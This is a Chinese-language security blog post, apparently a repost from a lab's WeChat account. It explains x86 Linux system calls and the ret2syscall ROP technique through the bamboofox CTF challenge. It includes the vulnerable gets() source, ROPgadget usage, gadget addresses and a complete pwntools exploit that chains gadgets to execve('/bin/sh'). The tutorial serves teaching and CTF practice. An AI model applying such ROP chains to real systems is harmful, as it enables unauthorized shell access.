系统调用与ret2syscall

admin 2024年4月15日04:16:20评论0 views字数 2074阅读6分54秒阅读模式

点击上方 [蓝字] 关注我们

系统调用与ret2syscall

Syscall

系统调用与ret2syscall

Syscall即系统调用,是指运行在ring3层级的用户程序向操作系统申请更高权限的操作。而系统调用则提供了二者的中间接口。

在类unix系统中,系统通过中断指令(INT 0x80)来触发系统调用,并用系统号来区分入口函数。其实现基本调用的过程是:

1. 应用程序调用库函数(API);

2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;

3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);

4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;

5. 中断处理函数返回到 API 中;

6. API 将 EAX 返回给应用程序。

从程序的视角来看会略微简单些:

1. 把系统调用的编号存入 EAX;

2. 把函数参数存入其它通用寄存器;

3. 触发 0x80 号中断(int 0x80)。

当然,现在已经有在线的网站将这些系统调用要用到的寄存器和调用号都整理出来了:

https://syscalls.w3challs.com/?arch=x86

系统调用与ret2syscall

假设需要调用execve(),

其接口为execve("/bin/sh",NULL,NULL),

则需要让EAX=0x0b,EBX=“/bin/sh的地址”,ECX=0,EDX=0即可,然后调用(INT 0x80)来调用。

系统调用与ret2syscall
系统调用与ret2syscall
系统调用与ret2syscall
系统调用与ret2syscall
系统调用与ret2syscall

Ret2Syscall

系统调用与ret2syscall

如果程序中没有system函数同时开了NX保护,那么可以尝试ret2syscall来进行攻击。其思路是先构造好syscall的指令。然后将其放入到指定的位置之后,将返回地址覆盖成该位置的地址。

而构造syscall的主要思路是如何利用现有程序中的汇编指令将寄存器塞入指定的值。从汇编语言的角度,将eax赋值指定的值就是利用mov指令或者pop指令将值移动到寄存器中。假设当前栈顶为1,那么执行pop eax后,EAX的值就是为1。同理要改动EBX寄存器,可以找到pop ebx。由于我们构造的数据只能放在栈空间里,就需要ret指令作为结尾,将下一个内存空间的值作为地址赋值给EIP,让EIP去指定的位置执行下一个动作,以此类推。

系统调用与ret2syscall

如果没办法找到一段连续的代码对我们想要的寄存器进行修改时,就必须一段一段地构造。构造完成的链条称为gadget。

以execve("/bin/sh",NULL,NULL)为例。需要赋值的寄存器有EAX、EBX、ECX和EDX。最方便的是找到一段指令为pop eax; pop ebx; pop ecx; pop edx; ret,否则需要分别查找以下操作指令的地址:

pop eax; ret;pop ebx; ret;pop ecx; ret;pop edx; ret;

假设查找后的地址为:

地址A:pop eax; ret;地址B:pop ebx; ret;地址C:pop ecx; ret;地址D:pop edx; ret;

而execve的中断向量为0x0b,“/bin/sh”的地址假设为0xABCD;后面两个参数为0;那么构造出的gadget在内存中的排布如图:

系统调用与ret2syscall

以bamboofox的ret2syscall题目为例子,其代码为:

#include <stdio.h>#include <stdlib.h>char *shell = "/bin/sh";int main(void){    setvbuf(stdout, 0LL, 2, 0LL);    setvbuf(stdin, 0LL, 1, 0LL);    char buf[100];    printf("This time, no system() and NO SHELLCODE!!!n");    printf("What do you plan to do?n");    gets(buf);    return 0;}

首先使用ROPgadget工具来查找响应的指令

ROPgadget --binary ret2syscall > a.txt

然后在a.txt中查找含有pop eax ; ret的地址

系统调用与ret2syscall

这里0x080bb196的地址是我们想要的。剩余的三个寄存器赋值恰好有一个地址能完成0x0806eb90

系统调用与ret2syscall

从C代码中看到,"/bin/sh"是初始化的全局变量,因此编译后有固定的值:

系统调用与ret2syscall

于是gadget可以构造成0x080bb196 + 0xb + 0x080bb196 + 0 + 0 + 0x080BE408,最后在拼接上int 0x80的地址来调用系统中断。

于是攻击代码如下:

#!/usr/bin/env pythonfrom pwn import *sh = process('./rop')pop_eax_ret = 0x080bb196pop_edx_ecx_ebx_ret = 0x0806eb90int_0x80 = 0x08049421binsh = 0x80be408payload = flat(    ['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])sh.sendline(payload)sh.interactive()
系统调用与ret2syscall

End

系统调用与ret2syscall
刑天攻防实验室

扫码关注 了解更多内容

点个“在看”,你最好看。

原文始发于微信公众号(刑天攻防实验室):系统调用与ret2syscall

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月15日04:16:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   系统调用与ret2syscallhttps://cn-sec.com/archives/2652315.html

发表评论

匿名网友 填写信息